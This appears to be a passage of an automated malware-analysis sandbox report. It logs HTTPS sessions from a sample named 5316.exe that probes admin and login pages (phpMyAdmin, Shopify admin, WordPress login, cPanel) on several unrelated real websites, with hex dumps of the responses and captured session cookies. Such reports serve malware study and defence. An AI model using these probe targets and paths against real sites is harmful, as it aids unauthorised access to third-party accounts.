2023-12-20 02:13:42 UTC	524	IN	Data Raw: 73 2e 72 65 61 64 6f 6e 6c 79 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 62 61 6e 6b 69 6e 67 2e 6d 61 6e 61 67 65 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 6d 65 72 63 68 61 6e 74 2d 73 65 74 75 70 2d 64 61 73 68 62 6f 61 72 64 2e 67 72 61 70 68 71 6c 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 73 68 6f 70 69 66 79 2d 63 68 61 74 2e 61 64 6d 69 6e 2e 67 72 61 70 68 71 6c 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 66 6c 6f 77 2e Data Ascii: s.readonly%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fbanking.manage%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fmerchant-setup-dashboard.graphql%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fshopify-chat.admin.graphql%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fflow.
2023-12-20 02:13:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.4	54101	199.34.228.152	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	195	OUT	GET /pma/ HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip Cookie: is_mobile=0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:42 UTC	661	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:41 GMT Server: Apache Vary: X-W-SSL,User-Agent Set-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:41 GMT; Max-Age=1209600; path=/ Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:41 GMT; Max-Age=315360000; path=/ Cache-Control: private X-Host: blu120.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 3909 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:42 UTC	707	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Pa
2023-12-20 02:13:42 UTC	3202	IN	Data Raw: 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 22 29 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 77 6f 66 Data Ascii: ova-light/31AC96_0_0.eot");src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.wof

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.4	54448	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	192	OUT	GET /admin/auth/login HTTP/1.1 Host: artusopastry.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:42 UTC	1115	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 Vary: Accept-Encoding Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 1584544 X-ShardId: 312 Cache-Control: no-store Content-Language: en X-Shopify-Login-Required: true Strict-Transport-Security: max-age=7889238 Set-Cookie: _secure_admin_session_id=a6347774f32a493c0f46227449857e78; path=/admin; expires=Wed, 20 Mar 2024 02:13:42 GMT; secure; HttpOnly; SameSite=None Set-Cookie: _secure_admin_session_id_csrf=a6347774f32a493c0f46227449857e78; path=/admin; expires=Wed, 20 Mar 2024 02:13:42 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _master_udr=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaWszTURKbE9HTm1PQzB4TmpVMExUUmhNV1V0WVRZd05pMWlNV1ExTUdZMVl6Sm1ZVGtHT2daRlJnPT0iLCJleHAiOiIyMDI1LTEyLTIwVDAyOjEzOjQyLjA3MVoiLCJwdXIiOiJjb29raWUuX21hc3Rlcl91ZHIifX0%3D--c485e90ea2eb56873276e26ff926cca3e51072bb; path=/admin; expires=Sat, 20 Dec 2025 02:13:42 GMT; secure; HttpOnly; SameSite=Lax
2023-12-20 02:13:42 UTC	1586	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 69 64 65 6e 74 69 74 79 2d 73 74 61 74 65 2d 32 37 34 30 33 35 62 65 63 34 63 63 33 35 31 35 35 63 32 63 61 64 32 39 62 61 34 65 35 36 63 33 3d 42 41 68 37 44 45 6b 69 44 6e 4a 6c 64 48 56 79 62 69 31 30 62 77 59 36 42 6b 56 55 53 53 49 34 61 48 52 30 63 48 4d 36 4c 79 39 68 63 6e 52 31 63 32 39 77 59 58 4e 30 63 6e 6b 75 62 58 6c 7a 61 47 39 77 61 57 5a 35 4c 6d 4e 76 62 53 39 68 5a 47 31 70 62 69 39 68 64 58 52 6f 4c 32 78 76 5a 32 6c 75 42 6a 73 41 56 45 6b 69 45 58 4a 6c 5a 47 6c 79 5a 57 4e 30 4c 58 56 79 61 51 59 37 41 46 52 4a 49 6b 52 6f 64 48 52 77 63 7a 6f 76 4c 32 46 79 64 48 56 7a 62 33 42 68 63 33 52 79 65 53 35 74 65 58 4e 6f 62 33 42 70 5a 6e 6b 75 59 32 39 74 4c 32 46 6b 62 57 6c 75 4c 32 46 31 64 47 67 Data Ascii: Set-Cookie: identity-state-274035bec4cc35155c2cad29ba4e56c3=BAh7DEkiDnJldHVybi10bwY6BkVUSSI4aHR0cHM6Ly9hcnR1c29wYXN0cnkubXlzaG9waWZ5LmNvbS9hZG1pbi9hdXRoL2xvZ2luBjsAVEkiEXJlZGlyZWN0LXVyaQY7AFRJIkRodHRwczovL2FydHVzb3Bhc3RyeS5teXNob3BpZnkuY29tL2FkbWluL2F1dGg
2023-12-20 02:13:42 UTC	1395	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 77 73 73 3a 2f 2f 2a 20 68 74 74 70 73 3a 2f 2f 2a 3b 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 66 72 61 6d 65 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 69 6d 67 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 68 74 74 70 73 3a 3b 20 73 Data Ascii: Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; s
2023-12-20 02:13:42 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 33 38 34 35 65 31 39 61 65 34 33 62 33 64 64 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 83845e19ae43b3dd-MIAalt-svc: h3=":443"; ma=86400
2023-12-20 02:13:42 UTC	1369	IN	Data Raw: 38 61 62 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 6f 61 75 74 68 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 37 65 65 36 35 61 36 33 36 30 38 38 34 33 63 35 37 37 64 62 38 62 32 33 63 34 64 37 33 31 36 65 61 30 61 30 31 62 64 32 66 37 35 39 34 66 38 61 39 63 30 36 65 61 36 36 38 63 31 62 37 37 35 63 26 61 6d 70 3b 64 65 73 74 69 6e 61 74 69 6f 6e 5f 75 75 69 64 3d 64 30 32 61 61 66 63 33 2d 31 30 34 30 2d 34 62 39 65 2d 39 64 36 64 2d 65 65 66 36 62 62 32 31 66 37 32 65 26 61 6d 70 3b 6e 6f 6e 63 65 3d 35 31 32 62 63 39 66 61 31 35 62 37 63 62 39 37 Data Ascii: 8ab<html> <body> <noscript> <a href="https://accounts.shopify.com/oauth/authorize?client_id=7ee65a63608843c577db8b23c4d7316ea0a01bd2f7594f8a9c06ea668c1b775c&destination_uuid=d02aafc3-1040-4b9e-9d6d-eef6bb21f72e&nonce=512bc9fa15b7cb97
2023-12-20 02:13:42 UTC	857	IN	Data Raw: 63 62 39 37 37 38 32 30 66 33 39 36 31 38 61 33 38 39 66 37 5c 75 30 30 32 36 70 72 6f 6d 70 74 3d 6d 65 72 67 65 5c 75 30 30 32 36 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 64 6d 69 6e 25 32 46 61 75 74 68 25 32 46 69 64 65 6e 74 69 74 79 25 32 46 63 61 6c 6c 62 61 63 6b 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 5c 75 30 30 32 36 73 63 6f 70 65 3d 65 6d 61 69 6c 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 64 65 73 74 69 6e 61 74 69 6f 6e 73 2e 72 65 61 64 6f 6e 6c 79 25 32 30 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 Data Ascii: cb977820f39618a389f7\u0026prompt=merge\u0026redirect_uri=https%3A%2F%2Fartusopastry.myshopify.com%2Fadmin%2Fauth%2Fidentity%2Fcallback\u0026response_type=code\u0026scope=email%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fdestinations.readonly%20openid%20profi
2023-12-20 02:13:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.4	54610	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:42 UTC	179	OUT	GET /admin HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:42 UTC	578	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:42 GMT X-Served-By: cache-pdk-kfty2130087-PDK X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1703038422.242705,VS0,VE2 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:42 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:42 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:42 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:42 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.4	54592	192.252.146.15	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:54 UTC	302	OUT	GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1 Host: cgi-sys.server294.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://twohillsstudio.com/wp-login.php
2023-12-20 02:13:54 UTC	166	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:54 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html
2023-12-20 02:13:54 UTC	1293	IN	Data Raw: 35 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c Data Ascii: 506<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><titl
2023-12-20 02:13:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.4	54590	205.178.187.19	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:54 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:55 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:54 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=93764522fe363817a99449c2a4086039\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:54 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=5D43BAFB4F60113311914CB3CF12E89A; Path=/; HttpOnly x-envoy-upstream-service-time: 1 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:55 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% --><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.4	54686	172.217.15.206	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:54 UTC	232	OUT	GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1 Host: sites.google.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:55 UTC	467	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Last-Modified: Wed, 06 Dec 2023 21:50:10 GMT Expires: Wed, 20 Dec 2023 02:13:55 GMT Date: Wed, 20 Dec 2023 02:13:55 GMT Cache-Control: private, max-age=5 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:55 UTC	785	IN	Data Raw: 31 32 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 2e 74 6f 70 53 68 61 64 6f 77 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 74 53 68 61 64 2e 67 69 66 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 Data Ascii: 1214<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><style type="text/css"> .topShadow { background-image: url(https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/tShad.gif); ba
2023-12-20 02:13:55 UTC	1252	IN	Data Raw: 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 74 6f 70 50 61 64 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 37 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 54 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 36 36 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 